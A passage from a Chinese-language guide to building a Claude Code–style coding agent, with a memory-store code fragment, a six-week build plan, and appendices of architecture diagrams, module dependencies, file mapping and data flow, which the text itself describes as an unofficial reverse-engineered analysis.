glob(`${this.memdir}/**/*.md`); const contents = await Promise.all(allFiles.map(f => fs.readFile(f, 'utf8'))); const ranked = await semanticRank(query, contents); return ranked.slice(0, 3).join('\n---\n'); } // 用户审计入口 async list(): Promise { return await fs.readFile(this.todayPath(), 'utf8'); } private todayPath(): string { return path.join(this.memdir, `${new Date().toISOString().slice(0,10)}.md`); } } P1 — 强烈建议(第 4-5 天): 2. 流式输出 + 进度指示 ├── 工具调用时 yield "🔧 正在执行 BashTool..." ├── 并行工具同时显示多个进度 └── 危险操作前暂停,显示命令内容等用户确认 // loop.ts 中集成进度指示 for (const call of toolCalls) { yield { type: 'tool_start', tool: call.name, args: call.args }; // 危险操作 → 确认 const tool = findTool(call.name); if (tool.isDestructive?.(call.args)) { yield { type: 'confirm', message: `⚠️ 即将执行: ${call.args.command}\n确认?` }; // 等用户确认... } const result = await tool.execute(call.args); yield { type: 'tool_end', tool: call.name, result }; } P2 — 有余力再做(第 6 天): 3. MCP 外部工具接入 ├── 定义 McpTool 基类,自动把 MCP server 的工具注册为本地工具 └── 权限沿用现有三层防御体系 4. 监控日志 ├── 每轮对话记录:token 用量、工具调用数、耗时 └── 异常事件写入 logs/ 目录,方便排查 验收标准: 跨会话能记住用户的偏好和项目上下文 用户能查看 Agent 记住了什么 支持 MCP 协议的外部工具接入 流式输出 + 进度指示 + 确认机制完整 有基本的监控和日志 六周总览 周次 交付物 核心文件 验收标准 第一周 能跑的 Agent Loop loop.ts, tools/, llm.ts 基本对话 + 3 个工具 第二周 工具系统完善 tools/base.ts, tools/index.ts 描述准确 + 参数校验 + lint 第三周 权限系统 permissions/ 三层防御 + deny by default 第四周 上下文管理 context/ 三级压缩 + token 追踪 第五周 子 Agent 编排 agents/ 并行执行 + 结果汇总 第六周 产品打磨 memory/, 插件, UX 跨会话记忆 + MCP + 流式输出 附录 A:Claude Code 完整架构总览 下面这张图覆盖了 Claude Code 的所有模块、它们之间的数据流和依赖关系。 ┌─────────────────────────────────────────────────────────────────────────────────┐ │ Claude Code — 完整架构总览 │ │ │ │ ╔═══════════════════════════════════════════════════════════════════════════╗ │ │ ║ 入口层 (Entry Points) ║ │ │ ║ ┌──────────┐ ┌──────────┐ ┌──────────────┐ ┌─────────────────────┐ ║ │ │ ║ │ CLI │ │ SDK │ │ Remote Bridge│ │ IDE Extension │ ║ │ │ ║ │-t/--print│ │ query() │ │ claude.ai │ │ VSCode / JetBrains │ ║ │ │ ║ │interactive│ │ session()│ │ WebSocket │ │ Inline Suggestions │ ║ │ │ ║ └────┬─────┘ └────┬─────┘ └──────┬───────┘ └──────────┬──────────┘ ║ │ │ ╚═══════╪══════════════╪══════════════╪═════════════════════╪══════════════╝ │ │ └──────────────┴──────┬───────┴─────────────────────┘ │ │ ▼ │ │ ╔═══════════════════════════════════════════════════════════════════════════╗ │ │ ║ 核心引擎 (Core Engine) ║ │ │ ║ ║ │ │ ║ ┌─ query.ts ─────────────────────────────────────────────────────────┐ ║ │ │ ║ │ │ ║ │ │ ║ │ messages ──► streamLLM() ──► tool_calls ──► runTools() │ ║ │ │ ║ │ ▲ │ │ ║ │ │ ║ │ └──────── results ◄────────────────────┘ │ ║ │ │ ║ │ │ ║ │ │ ║ │ while (!done) { │ ║ │ │ ║ │ streamClaudeResponse(model, messages, tools) │ ║ │ │ ║ │ → collect tool_calls │ ║ │ │ ║ │ → runTools() // parallel read / serial write │ ║ │ │ ║ │ → append results to messages │ ║ │ │ ║ │ } │ ║ │ │ ║ └────────────────────────────────────────────────────────────────────┘ ║ │ │ ║ ║ │ │ ║ ┌─ 系统提示词 (System Prompt) ──────────────────────────────────────┐ ║ │ │ ║ │ 工具描述 │ 安全规则 │ 项目上下文 │ 操作指南 │ 输出格式要求 │ ║ │ │ ║ └───────────────────────────────────────────────────────────────────┘ ║ │ │ ║ ║ │ │ ╚═══════════════════════════════════════════════════════════════════════════╝ │ │ │ │ │ ┌─────────────────┼─────────────────┐ │ │ ▼ ▼ ▼ │ │ ╔═══════════════╗ ╔═══════════════╗ ╔══════════════════╗ │ │ ║ 工具系统 ║ ║ 安全层 ║ ║ 上下文管理 ║ │ │ ║ ║ ║ ║ ║ ║ │ │ ║ Tool.ts ║ ║ bashPermis- ║ ║ autoCompact ║ │ │ ║ (interface) ║ ║ sions.ts ║ ║ ↓ ║ │ │ ║ ║ ║ ║ ║ reactiveCompact ║ │ │ ║ ┌───────────┐ ║ ║ L1: AST解析 ║ ║ ↓ ║ │ │ ║ │ BashTool │─╫──╫─ L2: 精确匹配 ║ ║ contextCollapse ║ │ │ ║ │ FileRead │ ║ ║ L3: 前缀通配 ║ ║ ║ │ │ ║ │ FileEdit │ ║ ║ L4: 语义分析 ║ ║ tokenTracker ║ │ │ ║ │ FileWrite │ ║ ║ L5: 路径约束 ║ ║ 任务级 + 轮级 ║ │ │ ║ │ GlobTool │ ║ ║ L6: ML+沙箱 ║ ║ ║ │ │ ║ │ GrepTool │ ║ ║ ║ ║ compact_boundary ║ │ │ ║ │ WebSearch │ ║ ║ fail-safe: ║ ║ 标记 ║ │ │ ║ │ WebFetch │ ║ ║ 默认拒绝 ║ ║ ║ │ │ ║ │ AgentTool │ ║ ╚═══════════════╝ ╚══════════════════╝ │ │ ║ │ MCPTool │ ║ │ │ │ │ ║ │ TodoWrite │ ║ │ │ │ │ ║ │ SkillTool │ ║ │ │ │ │ ║ └───────────┘ ║ │ │ │ │ ║ ║ │ │ │ │ ║ isReadOnly ║ │ │ │ │ ║ isConcurSafe ║ │ │ │ │ ║ isDestructive ║ │ │ │ │ ╚═══════════════╝ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ╔═══════════════════════════════════════════════════════════════════════════╗ │ │ ║ 工具调度 (toolOrchestration.ts) ║ │ │ ║ ║ │ │ ║ 工具调用列表 ──► 按 isReadOnly 分区 ║ │ │ ║ │ ║ │ │ ║ ┌───────┴───────┐ ║ │ │ ║ ▼ ▼ ║ │ │ ║ 并行执行 (Promise.all) 串行执行 (顺序) ║ │ │ ║ isReadOnly=true isReadOnly=false ║ │ │ ║ isConcurrencySafe=true isDestructive=true ║ │ │ ║ │ │ ║ │ │ ║ └───────┬───────┘ ║ │ │ ║ ▼ ║ │ │ ║ 流式返回结果给用户 ║ │ │ ╚═══════════════════════════════════════════════════════════════════════════╝ │ │ │ │ │ ┌─────────────────┼─────────────────┐ │ │ ▼ ▼ ▼ │ │ ╔═══════════════╗ ╔═══════════════╗ ╔══════════════════╗ │ │ ║ 子 Agent 系统 ║ ║ 记忆系统 ║ ║ 扩展系统 ║ │ │ ║ ║ ║ ║ ║ ║ │ │ ║ runAgent() ║ ║ memdir/ ║ ║ MCP Servers ║ │ │ ║ └─ query() ║ ║ ║ ║ ├─ FileSystem ║ │ │ ║ (复用主循环) ║ ║ consolidate- ║ ║ ├─ GitHub ║ │ │ ║ ║ ║ Prompt ║ ║ ├─ Slack ║ │ │ ║ 内置 Agent: ║ ║ (自动提取) ║ ║ └─ 自定义... ║ │ │ ║ ├─ general ║ ║ ║ ║ ║ │ │ ║ ├─ explore ║ ║ findRelevant- ║ ║ Skills ║ │ │ ║ ├─ plan ║ ║ Memories ║ ║ ├─ /命令触发 ║ │ │ ║ └─ verify ║ ║ (语义检索) ║ ║ └─ 按需加载 ║ │ │ ║ ║ ║ ║ ║ ║ │ │ ║ 模式: ║ ║ 生命周期: ║ ║ Plugins ║ │ │ ║ ├─ Fork ║ ║ 创建→检索→ ║ ║ └─ 外部服务集成 ║ │ │ ║ │ (上下文继承)║ ║ 过期→删除 ║ ║ ║ │ │ ║ ├─ Coordinator║ ║ ║ ║ Slash Commands ║ │ │ ║ │ (多工人调度)║ ║ 可审计: ║ ║ └─ /compact 等 ║ │ │ ║ └─ Parallel ║ ║ 用户可查看/ ║ ║ ║ │ │ ║ (并行执行) ║ ║ 编辑/删除 ║ ╚══════════════════╝ │ │ ╚═══════════════╝ ╚═══════════════╝ │ │ │ │ │ │ │ ┌────────────┘ │ │ │ │ │ │ ▼ ▼ │ │ ╔═══════════════════════════════════════════════════════════════════════════╗ │ │ ║ 基础设施 (Infrastructure) ║ │ │ ║ ║ │ │ ║ ┌─────────────┐ ┌──────────────┐ ┌────────────┐ ┌────────────────┐ ║ │ │ ║ │ Analytics │ │ Feature Flags│ │ Prompt │ │ Transcript │ ║ │ │ ║ │ (遥测) │ │ (A/B 测试) │ │ Cache │ │ (对话记录) │ ║ │ │ ║ └─────────────┘ └──────────────┘ └────────────┘ └────────────────┘ ║ │ │ ║ ║ │ │ ║ ┌─────────────┐ ┌──────────────┐ ┌────────────┐ ┌────────────────┐ ║ │ │ ║ │ tree-sitter │ │ JSON Schema │ │ 流式 SSE │ │ 错误恢复 │ ║ │ │ ║ │ (AST 解析) │ │ (参数校验) │ │ (响应格式) │ │ (重试/降级) │ ║ │ │ ║ └─────────────┘ └──────────────┘ └────────────┘ └────────────────┘ ║ │ │ ╚═══════════════════════════════════════════════════════════════════════════╝ │ └─────────────────────────────────────────────────────────────────────────────────┘ 附录 B:模块关系矩阵 这张表说明了各模块之间的依赖方向——行依赖列。 │ Loop │ Tools │ Safety │ Context │ Agent │ Memory │ Extensions │ Infra │ ──────────────────┼──────┼───────┼────────┼─────────┼───────┼────────┼────────────┼───────┤ Loop (query.ts) │ ── │ → │ → │ → │ → │ │ → │ → │ Tools (Tool.ts) │ │ ── │ → │ │ │ │ → │ → │ Safety (perms) │ │ │ ── │ │ │ │ │ → │ Context (compact) │ │ │ │ ── │ │ │ │ → │ Sub-Agent │ → │ → │ → │ → │ ── │ │ → │ → │ Memory │ │ │ │ │ │ ── │ │ → │ Extensions (MCP) │ │ → │ → │ │ │ │ ── │ → │ Infrastructure │ │ │ │ │ │ │ │ ── │ → 表示 "依赖" 或 "调用" 关键依赖链: Loop ──→ Tools ──→ Safety(每个工具执行都经过权限检查) │ │ │ ▼ │ Safety ──→ Infra (tree-sitter, 沙箱) │ ├──→ Context ──→ Infra (token 计算, 压缩算法) │ ├──→ Sub-Agent ──→ Loop(子 Agent 复用主循环) │ │ │ └──→ Tools(子 Agent 使用相同的工具集) │ ├──→ Extensions ──→ Tools(MCP 工具注册为普通工具) │ │ │ └──→ Safety(MCP 工具同样受权限检查) │ └──→ Memory ──→ Infra (文件存储, 语义索引) 附录 C:从架构到代码的文件映射 architecture/ source/ ├── Entry Points ──► ├── src/cli.ts │ ├── src/sdk/index.ts │ └── src/remote/ │ ├── Core Engine ──► ├── src/query.ts ← 主循环 │ ├── src/streaming.ts ← 流式响应 │ └── src/messages.ts ← 消息处理 │ ├── Tool System ──► ├── src/Tool.ts ← 接口定义 │ ├── src/tools/ │ │ ├── bash.ts ← shell 执行 │ │ ├── fileRead.ts ← 文件读取 │ │ ├── fileEdit.ts ← 文件编辑 │ │ ├── fileWrite.ts ← 文件写入 │ │ ├── glob.ts / grep.ts ← 搜索 │ │ ├── webSearch.ts ← 网页搜索 │ │ ├── agent.ts ← 子 Agent │ │ ├── mcp.ts ← MCP 集成 │ │ ├── todoWrite.ts ← 待办 │ │ └── skill.ts ← 技能命令 │ └── src/toolOrchestration.ts ← 调度 │ ├── Safety Layer ──► ├── src/bashPermissions.ts ← 权限入口 │ ├── src/permissions/ │ │ ├── rules.ts ← 规则匹配 │ │ ├── pattern.ts ← 模式匹配 │ │ ├── sandbox.ts ← 沙箱 │ │ └── classifier.ts ← ML 分类 │ └── src/constants.ts ← 黑白名单常量 │ ├── Context Mgmt ──► ├── src/autoCompact.ts ← 自动压缩 │ ├── src/context/ │ │ ├── tracker.ts ← token 追踪 │ │ ├── budget.ts ← 预算管理 │ │ └── collapse.ts ← 上下文坍缩 │ └── src/constants.ts ← 阈值配置 │ ├── Sub-Agent ──► ├── src/agents/ │ │ ├── runAgent.ts ← Agent 启动器 │ │ ├── coordinator.ts ← 协调者 │ │ ├── worker.ts ← 工人 │ │ └── types.ts ← 类型定义 │ └── src/prompts/ │ ├── coordinator.md ← 协调者提示词 │ ├── worker.md ← 工人提示词 │ └── agents/ ← 内置 Agent 提示词 │ ├── Memory ──► ├── src/memory/ │ │ ├── consolidate.ts ← 自动整理 │ │ ├── retrieve.ts ← 语义检索 │ │ └── storage.ts ← 持久化 │ └── memdir/ ← 存储目录 │ ├── Extensions ──► ├── src/mcp/ │ │ ├── client.ts ← MCP 客户端 │ │ └── server.ts ← MCP 服务端 │ ├── src/skills/ ← 技能目录 │ └── src/plugins/ ← 插件目录 │ └── Infrastructure──► ├── src/analytics.ts ← 遥测 ├── src/featureFlags.ts ← 特性开关 ├── src/promptCache.ts ← 提示词缓存 ├── src/transcript.ts ← 对话记录 └── src/utils/ ← 工具函数 附录 D:数据流全貌 从用户输入到最终输出,数据经过的完整路径: 用户输入 │ ▼ ┌─────────────────┐ │ 1. 入口解析 │ CLI 参数 / SDK 调用 / IDE 请求 │ (Entry Point) │ → 解析为 messages[] + tools[] └────────┬────────┘ │ ▼ ┌─────────────────┐ │ 2. 上下文准备 │ 加载记忆 → 合并项目上下文 → 生成系统提示词 │ (Context Prep)│ → 完整的 messages 序列 └────────┬────────┘ │ ▼ ┌─────────────────────────────────────────────────────────┐ │ 3. Agent Loop (while not done) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ messages ──→ streamLLM() ──→ tool_calls[] │ │ │ │ │ │ │ │ │ ┌────────────┼──────────┐ │ │ │ │ ▼ ▼ ▼ │ │ │ │ 只读工具 写操作工具 确认类 │ │ │ │ (并行执行) (串行执行) (等用户)│ │ │ │ │ │ │ │ │ │ │ └────────────┼──────────┘ │ │ │ │ ▼ │ │ │ │ ┌─── 安全检查层 ───┐ │ │ │ │ │ AST → 规则 → 语义│ │ │ │ │ │ → 路径 → ML → 沙箱│ │ │ │ │ └────────┬─────────┘ │ │ │ │ ▼ │ │ │ │ tool_results[] ──→ 追加到 messages │ │ │ │ │ │ │ │ ┌──────────────────────┘ │ │ │ │ ▼ │ │ │ │ 流式返回给用户 (部分结果实时可见) │ │ │ └──────────────────────────────────────────────────┘ │ └────────────────────┬────────────────────────────────────┘ │ (LLM 返回纯文本 → 循环结束) ▼ ┌─────────────────┐ │ 4. 子 Agent 分支 │ 如果循环中触发 AgentTool: │ (可选) │ → spawn sub-agent (复用同一套 loop) │ │ → sub-agent 完成 → 通知父 Agent │ │ → 结果并入 messages └────────┬────────┘ │ ▼ ┌─────────────────┐ │ 5. 会话结束 │ 提取关键信息 → 存入记忆 → 写入 transcript │ (Cleanup) │ → 清理临时资源 └─────────────────┘ 关键数据流特征: 步骤 3 的并行/串行分区 是整个系统性能的关键——只读工具并行、写操作串行,由工具元信息决定 安全检查是拦截层 ,不是决策层——工具调度已经分好区,安全层只做 pass/fail 判断 子 Agent 是循环嵌套 ——步骤 4 的 sub-agent 复用步骤 3 的同一套 loop,不是独立路径 基于 Claude Code 源码逆向分析。产品设计方法论提炼,非官方文档。